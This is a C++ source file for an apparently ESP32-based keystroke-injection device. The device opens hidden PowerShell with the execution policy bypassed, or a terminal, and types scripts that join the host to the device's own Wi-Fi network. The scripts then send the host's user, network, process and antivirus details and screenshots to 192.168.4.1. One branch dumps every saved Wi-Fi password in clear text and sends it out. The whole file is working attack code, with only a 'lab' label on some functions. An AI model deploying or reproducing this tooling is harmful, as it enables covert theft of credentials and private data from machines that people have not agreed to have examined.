#include "collector.h"
#include "exescript.h"
#include "upload_status.h"

// Must match wifi_server soft AP credentials
static const char *AP_SSID = "aether32";
static const char *AP_PASS = "aether32-admin";
static const char *UPLOAD  = "http://192.168.4.1/api/upload";

static void type_lines(const char *lines[], int count, int del = 9)
{
    for (int i = 0; i < count; i++)
    {
        write_task(lines[i], del, true);
        delay(320);
    }
}

static void open_run_hidden_ps()
{
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    Keyboard.releaseAll();
    delay(500);
    write_task("powershell -w hidden -nop -ep bypass", 18, true);
    delay(900);
}

static void open_mac_terminal()
{
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press(' ');
    Keyboard.releaseAll();
    delay(600);
    write_task("Terminal", 20, false);
    delay(400);
    Keyboard.write(KEY_RETURN);
    delay(1400);
}

static void open_linux_terminal()
{
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.write('t');
    Keyboard.releaseAll();
    delay(1600);
}

// Windows: join aether32 WiFi, POST each artifact to ESP32 flash (no SD)
static void win_profile_steps()
{
    open_run_hidden_ps();

    static const char *lines[] = {
        "$u='http://192.168.4.1/api/upload'",
        "$p=@'<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>aether32</name><SSIDConfig><SSID><name>aether32</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>aether32-admin</keyMaterial></sharedKey></security></MSM></WLANProfile>'@",
        "$p|Out-File $env:TEMP\\a32.xml -Enc ascii",
        "netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null",
        "netsh wlan connect name=aether32 ssid=aether32 2>$null",
        "Start-Sleep 5",
        "function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}",
        "Up 'os.txt' 'windows'",
        "Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))",
        "Up 'network_macs.txt' (getmac /v /fo list | Out-String)",
        "Up 'network_full.txt' (ipconfig /all | Out-String)",
        "Up 'arp.txt' (arp -a | Out-String)",
        "Up 'routes.txt' (route print | Out-String)",
        "Up 'netstat.txt' (netstat -an | Out-String)",
        "Up 'collected_at.txt' (Get-Date -Format o)",
        "Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
        "$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
        "$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
        "$g=[Drawing.Graphics]::FromImage($i)",
        "$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
        "$t=$env:TEMP+'\\a32sc.png'",
        "$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
        "$raw=[IO.File]::ReadAllBytes($t)",
        "Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'",
        "exit",
    };
    type_lines(lines, sizeof(lines) / sizeof(lines[0]));
}

// Windows lab scan: profile artifacts + disk, user, uptime, AV, OS, RAM, gateway/DNS
static void win_lab_scan_steps()
{
    open_run_hidden_ps();

    static const char *lines[] = {
        "$u='http://192.168.4.1/api/upload'",
        "$p=@'<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>aether32</name><SSIDConfig><SSID><name>aether32</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>aether32-admin</keyMaterial></sharedKey></security></MSM></WLANProfile>'@",
        "$p|Out-File $env:TEMP\\a32.xml -Enc ascii",
        "netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null",
        "netsh wlan connect name=aether32 ssid=aether32 2>$null",
        "Start-Sleep 5",
        "function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}",
        "Up 'os.txt' 'windows'",
        "Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))",
        "Up 'network_macs.txt' (getmac /v /fo list | Out-String)",
        "Up 'network_full.txt' (ipconfig /all | Out-String)",
        "Up 'arp.txt' (arp -a | Out-String)",
        "Up 'routes.txt' (route print | Out-String)",
        "Up 'netstat.txt' (netstat -an | Out-String)",
        "Up 'collected_at.txt' (Get-Date -Format o)",
        "Up 'disk_space.txt' ((Get-PSDrive -PSProvider FileSystem|Format-List|Out-String)+(Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table|Out-String))",
        "Up 'logged_in_user.txt' ((whoami)+\"`n\"+(query user|Out-String))",
        "Up 'uptime.txt' ($o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\")",
        "Up 'av_status.txt' (try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String})",
        "Up 'os_version.txt' ((Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List|Out-String)+([Environment]::OSVersion|Out-String))",
        "Up 'ram.txt' (Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"})",
        "Up 'gateway_dns.txt' ((Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table|Out-String)+(Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table|Out-String))",
        "Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
        "$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
        "$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
        "$g=[Drawing.Graphics]::FromImage($i)",
        "$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
        "$t=$env:TEMP+'\\a32sc.png'",
        "$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
        "$raw=[IO.File]::ReadAllBytes($t)",
        "Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'",
        "exit",
    };
    type_lines(lines, sizeof(lines) / sizeof(lines[0]));
}

static void mac_lab_scan_steps()
{
    open_mac_terminal();

    static const char *script =
        "[ \"$(uname)\" = Darwin ]||exit 0;"
        "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
        "sleep 5;"
        "U=http://192.168.4.1/api/upload;"
        "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
        "up os.txt macos;"
        "up hostname.txt \"$(hostname)\n$(whoami)\";"
        "up network_full.txt \"$(ifconfig -a)\";"
        "up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";"
        "up arp.txt \"$(arp -a)\";"
        "up netstat.txt \"$(netstat -an 2>/dev/null)\";"
        "up collected_at.txt \"$(date -Iseconds)\";"
        "up disk_space.txt \"$(df -h)\";"
        "up logged_in_user.txt \"$(whoami; w)\";"
        "up uptime.txt \"$(uptime; last reboot 2>/dev/null|head -3)\";"
        "up av_status.txt \"$(spctl --status 2>/dev/null; system_profiler SPInstallHistoryDataType 2>/dev/null|grep -iE 'sophos|norton|mcafee|bitdefender|avast|avg'||echo Gatekeeper status above)\";"
        "up os_version.txt \"$(sw_vers; uname -a)\";"
        "up ram.txt \"$(sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory)\";"
        "up gateway_dns.txt \"$(netstat -nr|grep default; scutil --dns 2>/dev/null|head -40)\";"
        "screencapture -x /tmp/a32sc.png 2>/dev/null;"
        "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";"
        "exit";

    write_task(script, 8, true);
    delay(400);
}

static void linux_lab_scan_steps()
{
    open_linux_terminal();

    static const char *script =
        "[ \"$(uname)\" = Linux ]||exit 0;"
        "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
        "sleep 5;"
        "U=http://192.168.4.1/api/upload;"
        "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
        "up os.txt linux;"
        "up hostname.txt \"$(hostname)\n$(whoami)\";"
        "up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";"
        "up network_full.txt \"$(ip addr)\";"
        "up arp.txt \"$(ip neigh)\";"
        "up routes.txt \"$(ip route)\";"
        "up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";"
        "up collected_at.txt \"$(date -Iseconds)\";"
        "up disk_space.txt \"$(df -h)\";"
        "up logged_in_user.txt \"$(whoami; w; id)\";"
        "up uptime.txt \"$(uptime; who -b 2>/dev/null)\";"
        "up av_status.txt \"$(systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -iE 'clamav|sophos|avg|bitdefender'||rpm -qa 2>/dev/null|grep -iE 'clam|sophos'||echo no common AV packages)\";"
        "up os_version.txt \"$(cat /etc/os-release 2>/dev/null; uname -a)\";"
        "up ram.txt \"$(free -h; grep MemTotal /proc/meminfo)\";"
        "up gateway_dns.txt \"$(ip route|grep default; cat /etc/resolv.conf)\";"
        "scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
        "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;"
        "exit";

    write_task(script, 8, true);
    delay(400);
}

static void mac_profile_steps()
{
    open_mac_terminal();

    static const char *script =
        "[ \"$(uname)\" = Darwin ]||exit 0;"
        "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
        "sleep 5;"
        "U=http://192.168.4.1/api/upload;"
        "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
        "up os.txt macos;"
        "up hostname.txt \"$(hostname)\n$(whoami)\";"
        "up network_full.txt \"$(ifconfig -a)\";"
        "up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";"
        "up arp.txt \"$(arp -a)\";"
        "up netstat.txt \"$(netstat -an 2>/dev/null)\";"
        "up collected_at.txt \"$(date -Iseconds)\";"
        "screencapture -x /tmp/a32sc.png 2>/dev/null;"
        "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";"
        "exit";

    write_task(script, 8, true);
    delay(400);
}

static void linux_profile_steps()
{
    open_linux_terminal();

    static const char *script =
        "[ \"$(uname)\" = Linux ]||exit 0;"
        "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
        "sleep 5;"
        "U=http://192.168.4.1/api/upload;"
        "up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
        "up os.txt linux;"
        "up hostname.txt \"$(hostname)\n$(whoami)\";"
        "up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";"
        "up network_full.txt \"$(ip addr)\";"
        "up arp.txt \"$(ip neigh)\";"
        "up routes.txt \"$(ip route)\";"
        "up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";"
        "up collected_at.txt \"$(date -Iseconds)\";"
        "scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
        "curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;"
        "exit";

    write_task(script, 8, true);
    delay(400);
}

void collect_profile_auto()
{
    win_profile_steps();
    delay(800);
    mac_profile_steps();
    delay(800);
    linux_profile_steps();
}

void collect_profile_windows() { win_profile_steps(); }
void collect_profile_macos()   { mac_profile_steps(); }
void collect_profile_linux()  { linux_profile_steps(); }

void collect_lab_scan()
{
    upload_status_set_phase("lab_scan");
    win_lab_scan_steps();
    delay(800);
    mac_lab_scan_steps();
    delay(800);
    linux_lab_scan_steps();
    upload_status_set_phase("awaiting_uploads");
}

void collect_network_macs()    { collect_profile_auto(); }

void collect_screenshot()
{
    open_run_hidden_ps();
    static const char *win[] = {
        "$u='http://192.168.4.1/api/upload'",
        "netsh wlan connect name=aether32 ssid=aether32 2>$null",
        "Start-Sleep 3",
        "Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
        "$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
        "$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
        "$g=[Drawing.Graphics]::FromImage($i)",
        "$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
        "$t=$env:TEMP+'\\a32sc.png'",
        "$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
        "Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body ([IO.File]::ReadAllBytes($t)) -ContentType 'application/octet-stream'",
        "exit",
    };
    type_lines(win, sizeof(win) / sizeof(win[0]));
    delay(600);

    open_mac_terminal();
    write_task(
        "[ \"$(uname)\" = Darwin ]||exit 0;"
        "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;sleep 3;"
        "screencapture -x /tmp/a32sc.png;"
        "curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit",
        8, true);
    delay(600);

    open_linux_terminal();
    write_task(
        "[ \"$(uname)\" = Linux ]||exit 0;"
        "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;sleep 3;"
        "scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
        "curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit",
        8, true);
}

static void win_upload_text(const char *filename, const char *ps_body_expr)
{
    open_run_hidden_ps();
    write_task("$u='http://192.168.4.1/api/upload'", 9, true);
    write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true);
    write_task("Start-Sleep 4", 9, true);
    char cmd[384];
    snprintf(cmd, sizeof(cmd),
        "Invoke-RestMethod -Uri ($u+'?name=%s') -Method Post -Body (%s|Out-String) -ContentType 'text/plain'",
        filename, ps_body_expr);
    write_task(cmd, 8, true);
    write_task("exit", 9, true);
}

static void mac_upload_text(const char *filename, const char *body_shell)
{
    open_mac_terminal();
    char script[640];
    snprintf(script, sizeof(script),
        "[ \"$(uname)\" = Darwin ]||exit 0;"
        "networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
        "sleep 4;"
        "curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";"
        "exit",
        body_shell, filename);
    write_task(script, 8, true);
    delay(400);
}

static void linux_upload_text(const char *filename, const char *body_shell)
{
    open_linux_terminal();
    char script[640];
    snprintf(script, sizeof(script),
        "[ \"$(uname)\" = Linux ]||exit 0;"
        "nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
        "sleep 4;"
        "curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";"
        "exit",
        body_shell, filename);
    write_task(script, 8, true);
    delay(400);
}

static void lab_collect_triple(const char *filename, const char *ps_body,
                               const char *mac_body, const char *linux_body)
{
    upload_status_set_phase("lab_collect");
    win_upload_text(filename, ps_body);
    delay(600);
    mac_upload_text(filename, mac_body);
    delay(600);
    linux_upload_text(filename, linux_body);
    upload_status_set_phase("awaiting_uploads");
}

void collect_dispatch(const char *id)
{
    if (strcmp(id, "lab_scan") == 0)        { collect_lab_scan(); return; }
    if (strcmp(id, "profile_auto") == 0)    { upload_status_set_phase("profile"); collect_profile_auto(); upload_status_set_phase("awaiting_uploads"); return; }
    if (strcmp(id, "profile_windows") == 0) { upload_status_set_phase("profile"); collect_profile_windows(); upload_status_set_phase("awaiting_uploads"); return; }
    if (strcmp(id, "profile_macos") == 0)   { upload_status_set_phase("profile"); collect_profile_macos(); upload_status_set_phase("awaiting_uploads"); return; }
    if (strcmp(id, "profile_linux") == 0)   { upload_status_set_phase("profile"); collect_profile_linux(); upload_status_set_phase("awaiting_uploads"); return; }
    if (strcmp(id, "network_macs") == 0)    { collect_network_macs(); return; }
    if (strcmp(id, "screenshot") == 0)      { collect_screenshot(); return; }

    if (strcmp(id, "disk_space") == 0)
        lab_collect_triple("disk_space.txt",
            "Get-PSDrive -PSProvider FileSystem|Format-List; Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table",
            "df -h", "df -h");
    else if (strcmp(id, "logged_in_user") == 0)
        lab_collect_triple("logged_in_user.txt",
            "whoami; query user", "whoami; w", "whoami; w; id");
    else if (strcmp(id, "uptime") == 0)
        lab_collect_triple("uptime.txt",
            "$o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\"",
            "uptime; last reboot 2>/dev/null|head -3", "uptime; who -b 2>/dev/null");
    else if (strcmp(id, "av_status") == 0)
        lab_collect_triple("av_status.txt",
            "try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String}",
            "spctl --status 2>/dev/null", "systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -i clamav||echo none");
    else if (strcmp(id, "os_version") == 0)
        lab_collect_triple("os_version.txt",
            "Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List",
            "sw_vers; uname -a", "cat /etc/os-release 2>/dev/null; uname -a");
    else if (strcmp(id, "ram") == 0)
        lab_collect_triple("ram.txt",
            "Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"}",
            "sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory",
            "free -h; grep MemTotal /proc/meminfo");
    else if (strcmp(id, "gateway_dns") == 0)
        lab_collect_triple("gateway_dns.txt",
            "Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table; Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table",
            "netstat -nr|grep default; scutil --dns 2>/dev/null|head -20",
            "ip route|grep default; cat /etc/resolv.conf");
    else if (strcmp(id, "sysinfo") == 0)
        win_upload_text("sysinfo.txt", "systeminfo");
    else if (strcmp(id, "network") == 0)
        win_upload_text("network_full.txt", "ipconfig /all");
    else if (strcmp(id, "arp") == 0)
        win_upload_text("arp.txt", "arp -a");
    else if (strcmp(id, "netstat") == 0)
        win_upload_text("netstat.txt", "netstat -an");
    else if (strcmp(id, "routes") == 0)
        win_upload_text("routes.txt", "route print");
    else if (strcmp(id, "hostname") == 0)
        win_upload_text("hostname.txt", "hostname; whoami");
    else if (strcmp(id, "users") == 0)
        win_upload_text("whoami.txt", "whoami /all");
    else if (strcmp(id, "processes") == 0)
        win_upload_text("processes.txt", "Get-Process|Sort CPU -Desc|Select Name,Id,CPU|Format-Table");
    else if (strcmp(id, "wifi_passwords") == 0)
    {
        open_run_hidden_ps();
        write_task("$u='http://192.168.4.1/api/upload'", 9, true);
        write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true);
        write_task("Start-Sleep 4", 9, true);
        write_task(
            "$o=@();netsh wlan show profiles|Select-String 'All User Profile'|ForEach-Object{$n=$_.ToString().Split(':')[1].Trim();$o+=netsh wlan show profile name=\"$n\" key=clear};"
            "Invoke-RestMethod -Uri ($u+'?name=wifi_passwords.txt') -Method Post -Body ($o|Out-String)",
            8, true);
        write_task("exit", 9, true);
    }
}